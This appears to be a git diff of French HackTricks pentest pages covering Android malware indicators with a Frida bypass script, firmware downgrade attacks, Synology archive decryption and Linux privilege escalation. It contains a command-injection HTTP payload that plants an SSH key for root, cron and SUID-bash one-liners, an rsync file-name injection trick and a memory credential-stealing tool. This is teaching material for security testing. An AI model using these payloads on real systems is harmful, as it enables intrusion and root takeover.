* **Télémetrie de Code d'Invitation** – POST de codes numériques de 6 à 8 chiffres peu après l'installation de l'APK peut indiquer une mise en scène.
* **Signature de MobileConfig** – Bloquez les profils de configuration non signés via la politique MDM.
## Extrait Frida Utile : Bypass Automatique du Code d'Invitation
```python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
Java.perform(function() {
var URL = Java.use('java.net.URL');
URL.openConnection.implementation = function() {
var conn = this.openConnection();
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
if (Java.cast(conn, HttpURLConnection)) {
conn.getResponseCode.implementation = function(){ return 200; };
conn.getInputStream.implementation = function(){
return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
};
}
return conn;
};
});
```
## Indicateurs (Généraux)
```
/req/checkCode.php # invite code validation
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
## Références
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
{{#include ../../banners/hacktricks-training.md}}

92
src/hardware-physical-access/firmware-analysis/README.md
View File

@ -4,6 +4,12 @@
## **Introduction**
### Ressources connexes
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Le firmware est un logiciel essentiel qui permet aux appareils de fonctionner correctement en gérant et en facilitant la communication entre les composants matériels et le logiciel avec lequel les utilisateurs interagissent. Il est stocké dans une mémoire permanente, garantissant que l'appareil peut accéder à des instructions vitales dès qu'il est allumé, ce qui conduit au lancement du système d'exploitation. L'examen et la modification potentielle du firmware sont une étape cruciale pour identifier les vulnérabilités de sécurité.
## **Collecte d'informations**
@ -29,13 +35,13 @@ L'obtention du firmware peut être abordée par divers moyens, chacun ayant son
- **En le construisant** à partir des instructions fournies
- **En le téléchargeant** depuis des sites de support officiels
- En utilisant des requêtes **Google dork** pour trouver des fichiers de firmware hébergés
- En accédant directement au **stockage cloud**, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner)
- En interceptant les **mises à jour** via des techniques de l'homme du milieu
- **En extrayant** de l'appareil par des connexions comme **UART**, **JTAG** ou **PICit**
- **En reniflant** les demandes de mise à jour dans la communication de l'appareil
- En identifiant et en utilisant des **points de terminaison de mise à jour codés en dur**
- **En dumpant** depuis le bootloader ou le réseau
- **En retirant et en lisant** la puce de stockage, lorsque tout le reste échoue, en utilisant des outils matériels appropriés
- Accéder directement au **stockage cloud**, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Intercepter les **mises à jour** via des techniques de l'homme du milieu
- **Extraire** depuis l'appareil via des connexions comme **UART**, **JTAG** ou **PICit**
- **Sniffer** les requêtes de mise à jour dans la communication de l'appareil
- Identifier et utiliser des **points de terminaison de mise à jour codés en dur**
- **Dumping** depuis le bootloader ou le réseau
- **Retirer et lire** la puce de stockage, lorsque tout le reste échoue, en utilisant des outils matériels appropriés
## Analyser le firmware
@ -60,7 +66,7 @@ Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
### Récupération du Système de Fichiers
Avec les outils précédemment commentés comme `binwalk -ev <bin>`, vous devriez avoir pu **extraire le système de fichiers**.\
Avec les outils commentés précédemment comme `binwalk -ev <bin>`, vous devriez avoir pu **extraire le système de fichiers**.\
Binwalk extrait généralement cela dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extraction Manuelle du Système de Fichiers
@ -77,7 +83,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Exécutez la **commande dd** suivante pour extraire le système de fichiers Squashfs.
Exécutez la commande **dd** suivante pour extraire le système de fichiers Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -126,7 +132,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Pour évaluer l'état de l'encryption de l'image, l'**entropie** est vérifiée avec `binwalk -E <bin>`. Une faible entropie suggère un manque d'encryption, tandis qu'une haute entropie indique une possible encryption ou compression.
Pour évaluer l'état de chiffrement de l'image, l'**entropie** est vérifiée avec `binwalk -E <bin>`. Une faible entropie suggère un manque de chiffrement, tandis qu'une haute entropie indique un possible chiffrement ou compression.
Pour extraire des **fichiers intégrés**, des outils et ressources comme la documentation **file-data-carving-recovery-tools** et **binvis.io** pour l'inspection des fichiers sont recommandés.
@ -138,7 +144,7 @@ $ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Ensuite, en fonction du type de système de fichiers (par exemple, squashfs, cpio, jffs2, ubifs), différentes commandes sont utilisées pour extraire manuellement le contenu.
Après cela, en fonction du type de système de fichiers (par exemple, squashfs, cpio, jffs2, ubifs), différentes commandes sont utilisées pour extraire manuellement le contenu.
### Analyse du Système de Fichiers
@ -146,17 +152,17 @@ Une fois le système de fichiers extrait, la recherche de failles de sécurité
**Emplacements clés** et **éléments** à inspecter incluent :
- **etc/shadow** et **etc/passwd** pour les identifiants des utilisateurs
- **etc/shadow** et **etc/passwd** pour les identifiants utilisateurs
- Certificats SSL et clés dans **etc/ssl**
- Fichiers de configuration et scripts pour d'éventuelles vulnérabilités
- Binaires intégrés pour une analyse plus approfondie
- Serveurs web et binaires courants des appareils IoT
- Serveurs web et binaires courants des dispositifs IoT
Plusieurs outils aident à découvrir des informations sensibles et des vulnérabilités au sein du système de fichiers :
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) et [**Firmwalker**](https://github.com/craigz28/firmwalker) pour la recherche d'informations sensibles
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) pour une analyse complète du firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), et [**EMBA**](https://github.com/e-m-b-a/emba) pour une analyse statique et dynamique
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), et [**EMBA**](https://github.com/e-m-b-a/emba) pour l'analyse statique et dynamique
### Vérifications de Sécurité sur les Binaires Compilés
@ -164,11 +170,11 @@ Le code source et les binaires compilés trouvés dans le système de fichiers d
## Émulation de Firmware pour Analyse Dynamique
Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un appareil, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un appareil avec une architecture et un ordre d'octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires.
Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un dispositif, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un dispositif avec une architecture et un ordre des octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires.
### Émulation de Binaires Individuels
Pour examiner des programmes uniques, il est crucial d'identifier l'ordre d'octets et l'architecture CPU du programme.
Pour examiner des programmes uniques, il est crucial d'identifier l'ordre des octets et l'architecture CPU du programme.
#### Exemple avec l'Architecture MIPS
@ -192,7 +198,7 @@ Des outils comme [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware
## Analyse dynamique en pratique
À ce stade, un environnement de dispositif réel ou émulé est utilisé pour l'analyse. Il est essentiel de maintenir un accès shell au système d'exploitation et au système de fichiers. L'émulation peut ne pas imiter parfaitement les interactions matérielles, nécessitant des redémarrages d'émulation occasionnels. L'analyse doit revisiter le système de fichiers, exploiter les pages web et services réseau exposés, et explorer les vulnérabilités du bootloader. Les tests d'intégrité du firmware sont critiques pour identifier les vulnérabilités potentielles de porte dérobée.
À ce stade, un environnement de dispositif réel ou émulé est utilisé pour l'analyse. Il est essentiel de maintenir un accès shell au système d'exploitation et au système de fichiers. L'émulation peut ne pas imiter parfaitement les interactions matérielles, nécessitant des redémarrages d'émulation occasionnels. L'analyse doit revisiter le système de fichiers, exploiter les pages web et services réseau exposés, et explorer les vulnérabilités du chargeur de démarrage. Les tests d'intégrité du firmware sont critiques pour identifier les vulnérabilités potentielles de porte dérobée.
## Techniques d'analyse à l'exécution
@ -204,12 +210,55 @@ Développer un PoC pour les vulnérabilités identifiées nécessite une compré
## Systèmes d'exploitation préparés pour l'analyse de firmware
Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité du firmware, équipés des outils nécessaires.
Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité des firmwares, équipés des outils nécessaires.
## OS préparés pour analyser le firmware
## Systèmes d'exploitation préparés pour analyser le firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer une évaluation de sécurité et un test de pénétration des dispositifs Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité du firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer des évaluations de sécurité et des tests de pénétration des dispositifs Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité des firmwares.
## Attaques de rétrogradation de firmware et mécanismes de mise à jour non sécurisés
Même lorsqu'un fournisseur met en œuvre des vérifications de signature cryptographique pour les images de firmware, **la protection contre le retour à une version antérieure (rétrogradation) est souvent omise**. Lorsque le chargeur de démarrage ou de récupération ne vérifie que la signature avec une clé publique intégrée mais ne compare pas la *version* (ou un compteur monotone) de l'image flashée, un attaquant peut légitimement installer un **firmware plus ancien et vulnérable qui porte toujours une signature valide** et ainsi réintroduire des vulnérabilités corrigées.
Flux de travail typique de l'attaque :
1. **Obtenir une image signée plus ancienne**
* La récupérer sur le portail de téléchargement public du fournisseur, CDN ou site de support.
* L'extraire d'applications mobiles/de bureau compagnon (par exemple, à l'intérieur d'un APK Android sous `assets/firmware/`).
* La récupérer dans des dépôts tiers tels que VirusTotal, archives Internet, forums, etc.
2. **Télécharger ou servir l'image au dispositif** via n'importe quel canal de mise à jour exposé :
* Interface Web, API d'application mobile, USB, TFTP, MQTT, etc.
* De nombreux dispositifs IoT grand public exposent des points de terminaison HTTP(S) *non authentifiés* qui acceptent des blobs de firmware encodés en Base64, les décodent côté serveur et déclenchent la récupération/mise à niveau.
3. Après la rétrogradation, exploiter une vulnérabilité qui a été corrigée dans la version plus récente (par exemple, un filtre d'injection de commande qui a été ajouté plus tard).
4. Optionnellement, flasher la dernière image ou désactiver les mises à jour pour éviter la détection une fois la persistance acquise.
### Exemple : Injection de commande après rétrogradation
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Dans le firmware vulnérable (rétrogradé), le paramètre `md5` est concaténé directement dans une commande shell sans assainissement, permettant l'injection de commandes arbitraires (ici – l'activation de l'accès root basé sur une clé SSH). Les versions ultérieures du firmware ont introduit un filtre de caractères de base, mais l'absence de protection contre la rétrogradation rend la correction inutile.
### Extraction de Firmware à partir d'Applications Mobiles
De nombreux fournisseurs regroupent des images de firmware complètes à l'intérieur de leurs applications mobiles compagnon afin que l'application puisse mettre à jour l'appareil via Bluetooth/Wi-Fi. Ces paquets sont généralement stockés non chiffrés dans l'APK/APEX sous des chemins comme `assets/fw/` ou `res/raw/`. Des outils tels que `apktool`, `ghidra`, ou même un simple `unzip` vous permettent d'extraire des images signées sans toucher au matériel physique.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Liste de contrôle pour évaluer la logique de mise à jour
* Le transport/l'authentification de l'*endpoint de mise à jour* est-il adéquatement protégé (TLS + authentification) ?
* L'appareil compare-t-il les **numéros de version** ou un **compteur anti-rollback monotone** avant de flasher ?
* L'image est-elle vérifiée dans une chaîne de démarrage sécurisé (par exemple, signatures vérifiées par le code ROM) ?
* Le code en espace utilisateur effectue-t-il des vérifications supplémentaires de validité (par exemple, carte de partition autorisée, numéro de modèle) ?
* Les flux de mise à jour *partiels* ou *de sauvegarde* réutilisent-ils la même logique de validation ?
> 💡 Si l'un des éléments ci-dessus est manquant, la plateforme est probablement vulnérable aux attaques de rollback.
## Firmware vulnérable pour pratiquer
@ -232,6 +281,7 @@ Pour pratiquer la découverte de vulnérabilités dans le firmware, utilisez les
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## Formation et Certificat

162
src/hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md Normal file
View File

@ -0,0 +1,162 @@
# Décryptage des archives cryptées PAT/SPK de Synology
{{#include ../../banners/hacktricks-training.md}}
## Aperçu
Plusieurs appareils Synology (DSM/BSM NAS, BeeStation, …) distribuent leur firmware et leurs packages d'application dans des **archives PAT / SPK cryptées**. Ces archives peuvent être décryptées *hors ligne* avec rien d'autre que les fichiers de téléchargement publics grâce à des clés codées en dur intégrées dans les bibliothèques d'extraction officielles.
Cette page documente, étape par étape, comment fonctionne le format crypté et comment récupérer complètement le **TAR** en texte clair qui se trouve à l'intérieur de chaque package. La procédure est basée sur des recherches de Synacktiv réalisées lors de Pwn2Own Ireland 2024 et implémentée dans l'outil open-source [`synodecrypt`](https://github.com/synacktiv/synodecrypt).
> ⚠️ Le format est exactement le même pour les archives `*.pat` (mise à jour système) et `*.spk` (application) – elles diffèrent seulement par la paire de clés codées en dur qui sont sélectionnées.
---
## 1. Récupérer l'archive
La mise à jour du firmware/de l'application peut normalement être téléchargée depuis le portail public de Synology :
```bash
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
```
## 2. Dump the PAT structure (optionnel)
`*.pat` images sont eux-mêmes un **cpio bundle** qui intègre plusieurs fichiers (boot loader, kernel, rootfs, packages…). L'outil gratuit [`patology`](https://github.com/sud0woodo/patology) est pratique pour inspecter cet emballage :
```bash
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[…]
$ ls
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
```
Pour `*.spk`, vous pouvez directement passer à l'étape 3.
## 3. Extraire les bibliothèques d'extraction Synology
La véritable logique de décryptage se trouve dans :
* `/usr/syno/sbin/synoarchive` → wrapper CLI principal
* `/usr/lib/libsynopkg.so.1` → appelle le wrapper depuis l'interface DSM
* `libsynocodesign.so` → **contient l'implémentation cryptographique**
Les deux binaires sont présents dans le rootfs du système (`hda1.tgz`) **et** dans l'init-rd compressé (`rd.bin`). Si vous n'avez que le PAT, vous pouvez les obtenir de cette manière :
```bash
# rd.bin is LZMA-compressed CPIO
$ lzcat rd.bin | cpio -id 2>/dev/null
$ file usr/lib/libsynocodesign.so
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
```
## 4. Récupérer les clés codées en dur (`get_keys`)
À l'intérieur de `libsynocodesign.so`, la fonction `get_keys(int keytype)` retourne simplement deux variables globales de 128 bits pour la famille d'archives demandée :
```c
case 0: // PAT (system)
case 10:
case 11:
signature_key = qword_23A40;
master_key = qword_23A68;
break;
case 3: // SPK (applications)
signature_key = qword_23AE0;
master_key = qword_23B08;
break;
```
* **signature_key** → Clé publique Ed25519 utilisée pour vérifier l'en-tête de l'archive.
* **master_key** → Clé racine utilisée pour dériver la clé de chiffrement par archive.
Vous devez uniquement extraire ces deux constantes une fois pour chaque version majeure de DSM.
## 5. Structure de l'en-tête & vérification de la signature
`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()` effectue les opérations suivantes :
1. Lire le magic (3 octets) `0xBFBAAD` **ou** `0xADBEEF`.
2. Lire `header_len` 32 bits en little-endian.
3. Lire `header_len` octets + la prochaine **signature Ed25519 de 0x40 octets**.
4. Itérer sur toutes les clés publiques intégrées jusqu'à ce que `crypto_sign_verify_detached()` réussisse.
5. Décoder l'en-tête avec **MessagePack**, produisant :
```python
[
data: bytes,
entries: [ [size: int, sha256: bytes], … ],
archive_description: bytes,
serial_number: [bytes],
not_valid_before: int
]
```
`entries` permet ensuite à libarchive de vérifier l'intégrité de chaque fichier au fur et à mesure qu'il est déchiffré.
## 6. Dériver la sous-clé par archive
À partir du blob `data` contenu dans l'en-tête MessagePack :
* `subkey_id` = `uint64` en little-endian à l'offset 0x10
* `ctx` = 7 octets à l'offset 0x18
La clé de **flux** de 32 octets est obtenue avec libsodium :
```c
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
```
## 7. Backend **libarchive** personnalisé de Synology
Synology regroupe une libarchive patchée qui enregistre un format "tar" fictif chaque fois que la magie est `0xADBEEF`:
```c
register_format(
"tar", spk_bid, spk_options,
spk_read_header, spk_read_data, spk_read_data_skip,
NULL, spk_cleanup, NULL, NULL);
```
### spk_read_header()
```
- Read 0x200 bytes
- nonce = buf[0:0x18]
- cipher = buf[0x18:0x18+0x193]
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
```
L'`tar_hdr` déchiffré est un **en-tête TAR POSIX classique**.
### spk_read_data()
```
while (remaining > 0):
chunk_len = min(0x400000, remaining) + 0x11 # +tag
buf = archive_read_ahead(chunk_len)
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
remaining -= chunk_len - 0x11
```
Chaque **nonce de 0x18 octets** est préfixé au morceau chiffré.
Une fois toutes les entrées traitées, libarchive produit un **`.tar`** parfaitement valide qui peut être décompressé avec n'importe quel outil standard.
## 8. Décryptez tout avec synodecrypt
```bash
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys (SPK)
[+] header signature verified
[+] 104 entries
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
```
`synodecrypt` détecte automatiquement PAT/SPK, charge les clés correctes et applique la chaîne complète décrite ci-dessus.
## 9. Pièges courants
* Ne **swappez pas** `signature_key` et `master_key` – ils ont des objectifs différents.
* Le **nonce** vient *avant* le texte chiffré pour chaque bloc (en-tête et données).
* La taille maximale du morceau chiffré est **0x400000 + 0x11** (tag libsodium).
* Les archives créées pour une génération de DSM peuvent passer à des clés codées en dur différentes dans la prochaine version.
## 10. Outils supplémentaires
* [`patology`](https://github.com/sud0woodo/patology) – analyser/dumper les archives PAT.
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – déchiffrer PAT/SPK/autres.
* [`libsodium`](https://github.com/jedisct1/libsodium) – implémentation de référence de XChaCha20-Poly1305 secretstream.
* [`msgpack`](https://msgpack.org/) – sérialisation d'en-tête.
## Références
- [Extraction des archives chiffrées Synology – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [synodecrypt sur GitHub](https://github.com/synacktiv/synodecrypt)
- [patology sur GitHub](https://github.com/sud0woodo/patology)
{{#include ../../banners/hacktricks-training.md}}

140
src/linux-hardening/privilege-escalation/README.md
View File

@ -1,4 +1,4 @@
# Linux Privilege Escalation
# Escalade de privilèges Linux
{{#include ../../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
### Infos sur le système d'exploitation
Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution.
Commençons à acquérir des connaissances sur le système d'exploitation en cours d'exécution
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une exploitation du noyau, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire).
Vérifiez également si **un compilateur est installé**. Cela est utile si vous devez utiliser une exploitation de noyau, car il est recommandé de le compiler sur la machine où vous allez l'utiliser (ou sur une machine similaire).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
Vérifiez toujours les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
Vérifiez également **vos privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un.
### Surveillance des processus
@ -188,7 +188,7 @@ Cependant, rappelez-vous que **en tant qu'utilisateur régulier, vous pouvez lir
>
> - **kernel.yama.ptrace_scope = 0** : tous les processus peuvent être débogués, tant qu'ils ont le même uid. C'est la manière classique dont ptracing fonctionnait.
> - **kernel.yama.ptrace_scope = 1** : seul un processus parent peut être débogué.
> - **kernel.yama.ptrace_scope = 2** : seul l'admin peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 2** : seul l'administrateur peut utiliser ptrace, car cela nécessite la capacité CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3** : Aucun processus ne peut être tracé avec ptrace. Une fois défini, un redémarrage est nécessaire pour réactiver le ptracing.
#### GDB
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem **expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et vider toutes les régions lisibles** dans un fichier.
Pour un identifiant de processus donné, **maps montre comment la mémoire est mappée dans l'espace d'adresses virtuelles de ce processus** ; il montre également les **permissions de chaque région mappée**. Le **fichier pseudo mem expose la mémoire des processus elle-même**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et déverser toutes les régions lisibles** dans un fichier.
```bash
procdump()
(
@ -290,14 +290,14 @@ strings *.dump | grep -i password
L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement.
| Fonctionnalité | Nom du Processus |
| ------------------------------------------------- | -------------------- |
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Connexions FTP Actives) | vsftpd |
| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 |
| OpenSSH (Sessions SSH Actives - Utilisation de Sudo)| sshd: |
| Fonctionnalité | Nom du Processus |
| --------------------------------------------------- | --------------------- |
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Connexions FTP Actives) | vsftpd |
| Apache2 (Sessions HTTP Basic Auth Actives) | apache2 |
| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -336,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron utilisant un script avec un caractère générique (Injection de caractère générique)
Si un script exécuté par root contient un “**\***” à l'intérieur d'une commande, vous pourriez en profiter pour provoquer des choses inattendues (comme une élévation de privilèges). Exemple :
Si un script exécuté par root contient un “**\***” à l'intérieur d'une commande, vous pourriez exploiter cela pour provoquer des choses inattendues (comme une élévation de privilèges). Exemple :
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Si le caractère générique est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).**
Lisez la page suivante pour plus d'astuces d'exploitation des caractères génériques :
Lisez la page suivante pour plus d'astuces d'exploitation de caractères génériques :
{{#ref}}
wildcards-spare-tricks.md
@ -350,13 +350,13 @@ wildcards-spare-tricks.md
### Écrasement de script Cron et symlink
Si vous **pouvez modifier un script cron** exécuté par root, vous pouvez obtenir un shell très facilement :
Si vous **pouvez modifier un script Cron** exécuté par root, vous pouvez obtenir un shell très facilement :
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
@ -393,7 +393,7 @@ Vous pouvez voir le PATH utilisé par **systemd** avec :
```bash
systemctl show-environment
```
Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** comme :
Si vous constatez que vous pouvez **écrire** dans l'un des dossiers du chemin, vous pourriez être en mesure d'**escalader les privilèges**. Vous devez rechercher des **chemins relatifs utilisés dans les fichiers de configuration des services** tels que :
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -405,19 +405,19 @@ Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin
## **Timers**
Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers `**.service**` ou les événements. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone.
Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotone et peuvent être exécutés de manière asynchrone.
Vous pouvez énumérer tous les timers avec :
```bash
systemctl list-timers --all
```
### Timers modifiables
### Minuteries modifiables
Si vous pouvez modifier un timer, vous pouvez le faire exécuter certains existants de systemd.unit (comme un `.service` ou un `.target`)
Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certains existants de systemd.unit (comme un `.service` ou un `.target`)
```bash
Unit=backdoor.service
```
Dans la documentation, vous pouvez lire ce qu'est l'unité :
Dans la documentation, vous pouvez lire ce qu'est l'Unité :
> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe.
@ -428,7 +428,7 @@ Par conséquent, pour abuser de cette permission, vous devez :
